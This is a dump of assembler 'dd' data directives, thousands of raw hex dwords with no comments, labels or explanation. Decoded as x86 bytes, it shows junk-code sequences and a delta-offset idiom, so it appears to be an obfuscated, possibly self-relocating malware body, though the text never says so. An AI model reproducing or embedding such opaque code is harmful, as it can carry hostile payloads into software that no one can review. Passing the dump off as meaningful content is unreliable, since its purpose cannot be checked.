		dd 0DDBAC353h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 57D9D89h
		dd 6A05E9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 600BB2C3h, 880Dh,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 29C3C94Ch
		dd 0E91859B5h, 55958B05h, 6A05E926h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 2927C350h
		dd 0E90F998Dh, 58D8B05h, 6A05E908h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 5746C355h
		dd 117D679h, 0E9272D9Dh, 0C28B5005h, 0C103188Bh, 0C18B188Bh
		dd 0C203E8D1h, 6A58188Bh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 3B19C353h, 0C7816674h
		dd 0ECBFC65Dh, 832498ACh, 0E91CF1BDh, 840F0005h, 69h, 355BD89h
		dd 0B805E9h, 6A000000h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 0E3A4C351h,	7F957C6h
		dd 11BD8B13h, 2305E919h, 0E9252DBDh, 6D8D8D05h,	6A05E94Eh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 6DBC351h,	0C2433AC1h, 0B749B908h,	8BE1FF3Bh
		dd 3DBD83F9h, 5E916h, 3D2840Fh,	6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 17AE88C3h
		dd 0A5AC8F69h, 8B66E6F6h, 3DBD83F8h, 105E916h, 3B9840Fh
		dd 0BF0F0000h, 219589DFh, 8305E900h, 0E9163DBDh, 860F0305h
		dd 36Dh, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 18h,	46C35242h, 39688575h, 50006A60h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 2B2E24EEh
		dd 0E92519BDh, 99B58905h, 6605E927h, 6E9D98Ch, 75000000h
		dd 0D74EB5A6h, 4E180FFh, 0AFA8B66h, 0C840FC9h, 0BF000001h
		dd 5B3637C9h, 8B7ADB80h, 0E9286985h, 0E99D8B05h, 3305E90Ah
		dd 0E90E6185h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 9C9A9FFDh, 3BF1BF50h
		dd 489325Eh, 55006A24h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 0DA477B9Ah, 665E314Bh, 5AD4E381h
		dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 0BD89FCC3h, 5E91791h, 628F0068h, 5FB5BF6Fh
		dd 348117A7h, 7D8CFF24h, 0D185896Fh, 0FF05E90Fh, 0E9292D95h
		dd 8D895105h, 5E90191h,	0CE85895Fh, 6A05ECBAh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 0F41C351h, 0E3E9D9B7h, 6A000001h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 213AC350h
		dd 0AE8h, 0D321E00h, 9F08C831h,	66F3E33Fh, 8B5FF98Bh, 0ECBAC685h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 0E6161C69h, 0E9DDFEBFh, 0Ch, 0A6979ED2h
		dd 0CDA58DC7h, 5DC7F6A4h, 1800C7h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0E99B40C3h
		dd 0Eh,	7036FD0Ah, 58C95355h, 4D7893E7h, 8529EA08h, 5E90FC9h
		dd 0BACAB58Bh, 94BF05ECh, 8B6092E6h, 0E92F3985h, 0F8068905h
		dd 2869858Bh, 6A05E9h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 954B5EC3h, 44689A4h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0DCC35242h, 4764756Fh
		dd 8B96663Dh, 8E0F50D9h, 2, 6A96D98Bh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 6F8CC351h
		dd 0A14E57A5h, 68524FFEh, 0ABEB8166h, 0B70F6044h, 0B18589DBh
		dd 6105E92Eh, 0BAC6B5FFh, 9D8B05ECh, 5E915E5h, 650BC468h
		dd 0F88A6017h, 52505250h, 585A310Fh, 0BF66310Fh, 585A5A6Ch
		dd 24348161h, 177A083Bh, 0C05CE781h, 858D06C2h,	5ECBACEh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 7EC35545h
		dd 0FCAC1829h, 667B2FD1h, 0FF799BBh, 8A50FEB7h,	240489DAh
		dd 0EF816656h, 0FF5FDC46h, 0E9292D95h, 57006A05h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
		dd 9E10D608h, 0F78F3A45h, 3399D01h, 666105E9h, 85C7D88Bh
		dd 5E9163Dh, 3,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	8AC35646h, 212B184h, 6DBF66CCh,	0CEBD83DBh, 5ECBAh
		dd 7840Fh, 1DE90000h, 8B000000h, 0C3050FAh, 11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
		dd 11043050h, 1116400h,	3010E8C1h, 21144h, 58031164h, 7504E983h
		dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
		dd 83110430h, 0E77504E9h, 0C08B00EBh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 0C9C35545h,	55832B97h, 0DE9h
		dd 0F0958F00h, 3502C52Ch, 5B5FB330h, 6ABE9Eh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 14507BC3h
		dd 11E913h, 8E150000h, 93CD5A4Eh, 72B7E69Eh, 0D14C2873h
		dd 83020E9Fh, 0E9163DBDh, 850F0305h, 409h, 1ED19D8Bh, 840F05E9h
		dd 6, 1DFD9D8Bh, 0BD8305E9h, 5ECBACEh, 0EA840F00h, 60000003h
		dd 1911858Bh, 0FF6105E9h, 0ECBACEB5h, 53006A05h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
		dd 0BBFE91A4h, 3AED58F2h, 2B7595FFh, 11E905E9h,	9C000000h
		dd 0E0E91CEAh, 0F2EAD2BBh, 4F4F9137h, 1E27839Dh, 0BAC2B58Bh
		dd 526005ECh, 10E9h, 0F4DE1800h, 968ACBAEh, 532820BAh
		dd 0ADCDA452h, 0C7615BB0h, 1000106h, 84ACBB00h,	53960578h
		dd 8B0F505Bh, 0
		dd 8D8B6096h, 5E92231h,	0CEB5FF61h, 0B305ECBAh,	4D95FF07h
		dd 6A05E92Bh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 718FC356h, 5E6C2BA2h, 6DB58992h
		dd 8B05E911h, 0ECBAC2B5h, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 7E137B56h
		dd 0B10B69FBh, 0DD858B4Fh, 0E905E90Fh, 0Eh, 0F8F8C69Ah
		dd 391E3A2Ah, 66A23A66h, 8689FC5Dh, 0C4h, 11E9h, 4C0E0100h
		dd 25392F7Fh, 7F08288Fh, 994CC8Bh, 958B0051h, 5E92655h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0CDC35343h
		dd 2C2E3CCDh, 8904C283h, 0E92F3DBDh, 20508905h,	890Fh
		dd 858D0000h, 5ECD055h,	23EBB66h, 0B88689h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 0B9D6D3C3h, 945FA69Fh, 6E912h, 7A2D0000h, 2CA9FBBEh
		dd 16C9BD89h, 0EE905E9h, 37000000h, 4DF2588Eh, 0AD3F090Ah
		dd 891519DAh, 6A006AC2h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 7C86C352h, 0AC5FAE00h
		dd 0CEB5FF15h, 0F05ECBAh, 683h,	0F9BD8B00h, 0FF05E900h
		dd 0E900AD95h, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 0BD030553h, 5E91065h
		dd 6A965096h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 55FFC357h, 0E169E1F8h,	0B5FFECA8h
		dd 5ECBACEh, 95FFDA8Ah,	5E93231h, 1DD78166h, 0B1BD8361h
		dd 5E92Ah, 6B840Fh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h
		dd 44810424h, 190424h, 57470000h, 0C7CC2CC3h, 509BF943h
		dd 10E8h, 0A4F32000h, 713A5FCCh, 0D2EC7567h, 0A6FE6645h
		dd 34895B08h, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 464AC0FEh, 1A3FC0F9h, 3D8D890Dh
		dd 8B05E92Eh, 0E932F59Dh, 0CEB5FF05h, 6005ECBAh, 0BB99D89h
		dd 880F05E9h, 1, 95FF61F5h, 5E92F61h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 0CAC35747h,	548796C1h, 0B384F6E3h
		dd 0BD3360BEh, 5E93075h, 6E9h, 75A31000h, 61E67330h, 0BACEB5FFh
		dd 0BD8B05ECh, 5E92651h, 2DC595FFh, 10E905E9h, 46000000h
		dd 0F7D17448h, 38A20C5Ch, 9271DF4Bh, 83B56731h,	0E903FDBDh
		dd 840F0205h, 5Fh, 5E960h, 0A530000h, 5622E85Fh, 8AE88166h
		dd 8B615AA4h, 0E9305585h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0C66F1Ah, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 2E2BD4F5h, 0D5BD8BA1h, 0C705E928h, 0E927A985h, 5, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 77283422h, 0EF80EF0Ch, 0EE9C3h, 20F00000h, 2398544Eh
		dd 0E9D5DFCFh, 614CD86Fh, 0C5DB8166h, 0F393E954h, 8B53FFFFh
		dd 0E927659Dh, 0C18B5B05h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 27C35646h, 8BAB9EBEh,	0E91F519Dh, 0E5858D05h
		dd 6605E921h, 5090D88Bh, 0DE8h,	5D2F2300h, 8659824Bh, 51028955h
		dd 905B77CBh, 178D9D89h, 6A05E9h, 6A9EEF80h, 0F7816600h
		dd 858DCE8Dh, 5EDE607h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 5CC35747h, 98814C78h,	0FC0B0EC6h, 5E986h
		dd 0D8060000h, 811CCDADh, 0C91BACF3h, 5C0834Fh,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 8BC35646h, 635F0B1Fh
		dd 89DF8B50h, 0E7802404h, 0E9006AB9h, 0Ah, 0C225BADDh
		dd 0DC4FA80Ah, 6A5CD6h,	0A195FFF5h, 6A05E90Ah, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 2166C350h, 0F1CF5554h, 0BF8D8DACh, 6A05ECADh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 6974C355h, 6C787C9Eh, 8BA1E375h, 0E93209BDh,	6AD1FF05h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 6BACC357h, 0C78B6660h, 8961B6B7h,	0E90201BDh
		dd 5DBD0B05h, 8305E90Fh, 0E901BDBDh, 850F0105h,	0C0h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0B6C35646h, 0FDBD2979h
		dd 6A05E92Dh, 53006A02h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 8C49FE93h, 1DF38166h, 0E8519004h
		dd 0Bh,	27DD303Fh, 1157AEC8h, 0F4592BDh, 86h, 505B5B00h
		dd 624F15BBh, 6A9005h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 55C854C3h, 0DC0371Bh, 0BD030C47h
		dd 5E90C8Dh, 0AD95FFh, 6A05E9h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 0F8B33BC3h, 0B529F65Fh
		dd 5E90919h, 0CC4E9h, 0E800h, 815D0000h, 0EDE611EDh, 6E805h
		dd 5FA10000h, 2D5FF539h, 5BFFB70Fh, 6840Fh, 9D8B0000h
		dd 5E92FDDh, 904B858Dh,	0FE805ECh, 20000000h, 0C465ED18h
		dd 0D2AB825Dh, 0F433CD7Ah, 8531F1ADh, 5E905C9h,	0B460905Fh
		dd 0AB96680h, 50506185h, 11810F52h, 0E8000000h,	0Bh, 0DCD3B304h
		dd 5E258EBAh, 5F6AB829h, 68BB310Fh, 5A68324Eh, 0E3809058h
		dd 35FF645Ah, 0
		dd 28659D31h, 64F505E9h, 2589h,	0D7BB0000h, 0FF5C4095h
		dd 0E9068985h, 0D98A5105h, 89FF6A5Bh, 0E92EC195h, 5DBD8905h
		dd 0FF05E92Dh, 0E915DDB5h, 51006A05h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 9BD890Fh, 0FF05E90Dh
		dd 0E907C995h, 13CE905h, 85890000h, 5E927F1h, 9E800B0h
		dd 9D000000h, 222DA9DAh, 0AC752780h, 23899D8Bh,	295F05E9h
		dd 0E9004D95h, 0E970E605h, 8, 785864B8h, 0D1ED2C58h, 613C71E4h
		dd 100830Fh, 66600000h,	23EECE81h, 1F258531h, 0F6105E9h
		dd 0DF81C8B6h, 0E631A5Fh, 9DD9BF66h, 6BAh, 25FDBB00h, 0C18B6E6Bh
		dd 8B04E8C1h, 0E917219Dh, 0E2F76605h, 8DD78166h, 0DE846h
		dd 0B4630000h, 3D370EFAh, 0A954C516h, 5108E257h, 5E9h
		dd 0E691DC00h, 5F5B2570h, 8166C82Bh, 8BFCBEDBh,	0D9BF66D1h
		dd 98E901h, 0B70F0000h,	44858BD8h, 505F4C4Ch, 25BA6660h
		dd 870F87h, 61000000h, 7C0835Fh, 0BC7D53BBh, 0C0837Ah
		dd 1E9D8589h, 0BF6605E9h, 0D03B1793h, 0D830Fh, 0FD8A0000h
		dd 5DE9h, 0A9BD8B00h, 8B05E917h, 0FFFFFF8Dh, 0EEE781FFh
		dd 3109E2E5h, 0E9042D85h, 1E18305h, 3C840Fh, 0BF660000h
		dd 0A583FA4Ah, 0FFFFFFFFh, 10E9FEh, 63870000h, 0AE41C505h
		dd 5920918Eh, 990DAA14h, 95894A90h, 5F4C4C44h, 0C258589h
		dd 6E905E9h, 70000000h,	0B89E8D36h, 0E909h, 0B58D0000h
		dd 5ED662Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	0E7C35343h, 3419D23h, 6A05E9h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 0BCC35343h,	9E8h, 9A1C4D00h
		dd 4BDA477Bh, 5BF85E31h, 1E9595FFh, 8D8905E9h, 5E910ADh
		dd 0FDDB9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 38B3FB58h, 0E1838312h, 0C9BD8BFCh
		dd 0FC05E92Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	0FFC35141h, 23EE9716h, 0B8h, 6AD22B00h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 923FC352h, 8E06BEDFh, 11E8B9h, 0DD560000h, 5F6A46BDh
		dd 0ABC65F88h, 0BBDD5CF6h, 66E49939h, 0AD5FF88Bh, 0E8D1C233h
		dd 0E983D003h, 60F47504h, 334DEE81h, 0B70F1DE7h, 6A61F1h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0A20957C3h, 0ECE68593h, 477FBF66h, 880Dh, 1DE8B00h
		dd 0E9037D85h, 55958B05h, 0F05E926h, 68Ch, 4DBD8B00h, 8B05E923h
		dd 0E908058Dh, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 7BF30539h, 0CFDEF5DEh
		dd 118F0Fh, 0CE90000h, 0CE000000h, 7282FAC0h, 0C1C58550h
		dd 507B4A7Fh, 188BC28Bh, 188BC103h, 0E8D1C18Bh,	188BC203h
		dd 18BF6658h, 0DEBF0F26h, 0BD835B52h, 5E91CF1h,	81840F00h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 85EFC350h, 0F61E81DAh,	9D9B6D89h
		dd 78D9D89h, 0B805E9h, 8B000000h, 0E903E5BDh, 6D8D8D05h
		dd 6A05E94Eh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 3837C355h, 34860686h, 6AE1FFh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 4173E1C3h, 9EB3384Ch, 163DBD83h, 0F0005E9h, 47184h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 29D37AC0h, 0E915D99Dh, 3DBD8305h, 105E916h
		dd 45B840Fh, 0BD8B0000h, 5E90D01h, 163DBD83h, 0F0305E9h
		dd 41286h, 71F38000h, 0F9F38160h, 2B08BE86h, 0E923C9BDh
		dd 0D98C6605h, 2DA5BD8Bh, 0E18005E9h, 0D7816604h, 0C90A5D00h
		dd 13B840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 676495C3h, 8D3CDA0Eh, 80C46E3Ch
		dd 9D034AE3h, 5E92905h,	2869858Bh, 6A05E9h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 9C6CD1C3h
		dd 97BF66FAh, 6185331Dh, 6A05E90Eh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8B7FC351h
		dd 0B59D89DFh, 8905E90Ch, 0E9267D9Dh, 0BF665005h, 4897BE1h
		dd 10E924h, 0D7000000h,	0C1F64651h, 563C150Ah, 0BE70992Dh
		dd 6AC611h, 0E850006Ah,	3, 58C35820h, 4244489h,	4244481h
		dd 18h,	41C35040h, 0CB95C06Fh, 0A0E38166h, 0CE68F877h
		dd 57AC08DFh, 2404815Bh, 54162431h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 12C35646h, 28ED9589h, 95FF05E9h
		dd 5E9292Dh, 0CE8589F9h, 0F505ECBAh, 236E9h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 498F2C32h, 0DDB15E3h, 89F88B66h, 0E931FD8Dh,	0C6858B05h
		dd 8B05ECBAh, 0E928EDBDh, 1800C705h, 8B000000h,	0CAB58BF8h
		dd 6A05ECBAh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 8FE4C353h, 0EBC6CF1h, 858DA7E1h
		dd 0EE9h, 0FA77D600h, 0B7E3E36Fh, 0EA73F4C9h, 8BF5E469h
		dd 0E92F3985h, 0C5C38105h, 8964314Ch, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
		dd 58CAAC9Eh, 0AFBB67AEh, 8B57FC2Fh, 0E9286985h, 4468905h
		dd 28B99D8Bh, 0E99605E9h, 0Dh, 0AB744A3Eh, 0F025605Ch
		dd 0E162EF1Ch, 8E95073h, 0C8000000h, 0CF1CD0EAh, 9697E1DEh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 55C35747h
		dd 0BD8BDF83h, 5E90E79h, 0BAC6B5FFh, 6A05ECh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 6FD073C3h
		dd 4F8F8299h, 0AE8FCDDh, 5B000000h, 8682862Ch, 5C8CAC88h
		dd 5F2EB373h, 4E881B3h,	0FF000000h, 0BB001F03h,	174ED561h
		dd 0AD15BB50h, 448B3B7Eh, 0DF8B0424h, 12E8008Bh, 91000000h
		dd 96447F5h, 83381h, 83AAEABAh,	1836D5CAh, 44895B33h, 0B8600424h
		dd 18C4F386h, 15890Fh, 0FE80000h, 0DF000000h, 5D02926h
		dd 4217614h, 1404A194h,	615975D7h, 51006A58h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 66F4C86Dh
		dd 0BF66FB8Bh, 858DE0B0h, 5ECBACEh, 2CF9BD89h, 505005E9h
		dd 0FD98B52h, 5ADE8B31h, 24048958h, 1941BD8Bh, 95FF05E9h
		dd 5E9292Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	44C35141h, 0AE6159F7h, 0AAEF74EEh, 13E916h, 11550000h
		dd 8669AC13h, 0FAA690E5h, 0A569CD28h, 0F26EC261h, 519531F3h
		dd 0F05E926h, 28Dh, 61D2B700h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 0D9C35545h,	0F07F8777h, 0C9CD08D6h
		dd 3D85C702h, 305E916h,	6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 53E9C351h
		dd 4069EE1Dh, 0BACEBD83h, 0F0005ECh, 4684h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 2D8068E6h, 16F9B589h
		dd 0CE805E9h, 0C1000000h, 0DA160879h, 0D590CAF4h, 66A47804h
		dd 5F0565BFh, 21E9h, 1BD8900h, 5005E906h, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 9D89C08Bh, 5E90D29h, 1F95BD8Bh
		dd 9E805E9h, 62000000h,	0EEE0D658h, 0F757016h, 835BEAB7h
		dd 0E9163DBDh, 850F0305h, 37Dh,	1269BD03h, 0BD8305E9h
		dd 5ECBACEh, 6A840F00h,	6A000003h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0C003C355h
		dd 1421A6D9h, 0E04731F2h, 9189BB66h, 0BACEB5FFh, 0BF0F05ECh
		dd 7595FFFAh, 8005E92Bh, 0BD23BBF3h, 5E90AA9h, 0BAC2B58Bh
		dd 8B6605ECh, 106C7D8h,	81000100h, 75C58FD3h, 0BF669628h
		dd 60503593h, 9661FA8Ah, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 16h, 2FC35040h, 95297AA8h,	5E92805h, 0BACEB5FFh
		dd 0BD8B05ECh, 5E91EEDh, 2B4D95FFh, 8BF805E9h, 0ECBAC2B5h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 9D5369F3h, 6FF92FBFh, 42F8BB66h,	0FDD858Bh
		dd 6A05E9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 0F496DCC3h, 6078CF66h, 0E599D0Bh,	8B6605E9h
		dd 868961D3h, 0C4h, 0C880Fh, 7E90000h, 5F000000h, 0DA336B00h
		dd 958B30EFh, 5E92655h,	6880Fh,	9D8B0000h, 5E92AFDh, 0FDE78166h
		dd 4C28353h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	78C35747h, 20508905h, 6860Fh, 0EB810000h, 63AFD8E3h
		dd 0D055858Dh, 8D8905ECh, 5E91C8Dh, 6AD9D8Bh, 868905E9h
		dd 0B8h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 1Ah,	51C35040h, 580C3217h, 81665AD0h, 6A53C9E3h, 3880F00h
		dd 0F000000h, 0B5FFD8BFh, 5ECBACEh, 21E9BD8Bh, 95FF05E9h
		dd 5E900ADh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 16h,	29C35646h, 5096C074h, 8B96FB8Bh, 0E9264D9Dh, 0CEB5FF05h
		dd 6605ECBAh, 0E959AFBFh, 12h, 0F3E886E2h, 0DBF7666Ch
		dd 63EED7A7h, 77ABCD62h, 95FF1D39h, 5E93231h, 858B6060h
		dd 5E92B15h, 611AD580h,	0DA1CE281h, 836166B5h, 0E92AB1BDh
		dd 840F0005h, 5Bh, 2FC9B501h, 609605E9h, 61605250h, 14E8310Fh
		dd 0AD000000h, 36CAEA5Ah, 3F91B27h, 0E96AE032h,	0C25D8436h
		dd 59C03512h, 1EB7585Ah, 0BB665061h, 6A96B460h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 0BB03C351h, 33E1A2D7h, 819D8B68h, 0FF05E92Ah, 0ECBACEB5h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 4830F65h, 66000000h, 66F082BFh, 95FFDE8Bh
		dd 5E92F61h, 31858D89h,	0B5FF05E9h, 5ECBACEh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0B9C35040h, 0E9440C9Eh
		dd 11h,	87AE380Fh, 7C95337Ch, 1363D5B9h, 0EA76FF86h, 0C595FF7Eh
		dd 0E905E92Dh, 0Bh, 5559132Ch, 60565972h, 83656E5Fh, 0E903FDBDh
		dd 840F0205h, 15h, 27999589h, 858B05E9h, 5E93055h, 0C6FABF0Fh
		dd 8B660000h, 0A985C7DFh, 5E927h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 3B59C352h, 108712B4h, 0EE8h,	9E8BC100h, 83B2B66Eh, 0CEE89B92h
		dd 0FCBDB643h, 0F3E7E95Bh, 8166FFFFh, 8B3EF6E7h, 799D8BC1h
		dd 8A05E926h, 0E5858DDCh, 6A05E921h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0D83EC355h
		dd 58A0A8F5h, 0E993DD04h, 11h, 0CCAFB5E1h, 2B7B8EF8h, 45CA1387h
		dd 472C0AAEh, 820F90B5h, 4, 280BB66h, 0F98B6650h, 0EE890h
		dd 78DC0000h, 5FA7D3CCh, 71BDD6AFh, 0F688E060h,	0E9BD8956h
		dd 5B05E907h, 6A006A5Fh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 0F302C351h,	66600E0Eh
		dd 0BB66F28Bh, 961B735h, 0E923AD8Dh, 89006A05h,	0E90F3995h
		dd 0E1858D05h, 6A05EDF4h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 6992C351h, 3DF62A3Ch
		dd 9B33DA9Fh, 5C083F8h,	0B158D09h, 8B9005E9h, 850F50DAh
		dd 0
		dd 55006A90h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 0CC89073Fh, 0C3819E92h, 997EA68h, 8711BB66h
		dd 6AD88Bh, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 16h,	9DC35747h, 8D89A4F0h, 5E90589h,	6A86B7h, 95FFD88Bh
		dd 5E90AA1h, 2DA9BD2Bh,	8D8D05E9h, 5ECADBFh, 9E96BB66h
		dd 0D79BD8Bh, 0D1FF05E9h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 2DC35040h, 9B1523FEh,	0FD1D925h, 884h
		dd 85315100h, 5E921BDh,	43CF815Fh, 835615A5h, 0E901BDBDh
		dd 850F0105h, 72h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 96C35242h, 9FA527F0h,	26AD88Bh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 42C35747h, 26BF6283h
		dd 5071D1A0h, 6E96056h,	43000000h, 33474AC3h, 61D38B76h
		dd 2404895Fh, 0FFF88B66h, 0E900AD95h, 8E905h, 95590000h
		dd 756D6B1Ah, 9CE9E25Ah, 0E800000Dh, 0
		dd 0EBED815Dh, 8905EDF4h, 0E900918Dh, 53006A05h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
		dd 0AE58CAACh, 16DAE867h, 4B858D44h, 6A05EC90h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 0E872C356h, 11h, 0E37FF0DEh,	737F00B3h, 0C778BD07h
		dd 4758A9BFh, 8D8D0191h, 5F05E91Eh, 0A38BBF90h,	8B502758h
		dd 6A90FAh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0FA4BD5C3h, 0E8A2421Bh, 0Ch, 77F34C7h, 426A6B49h
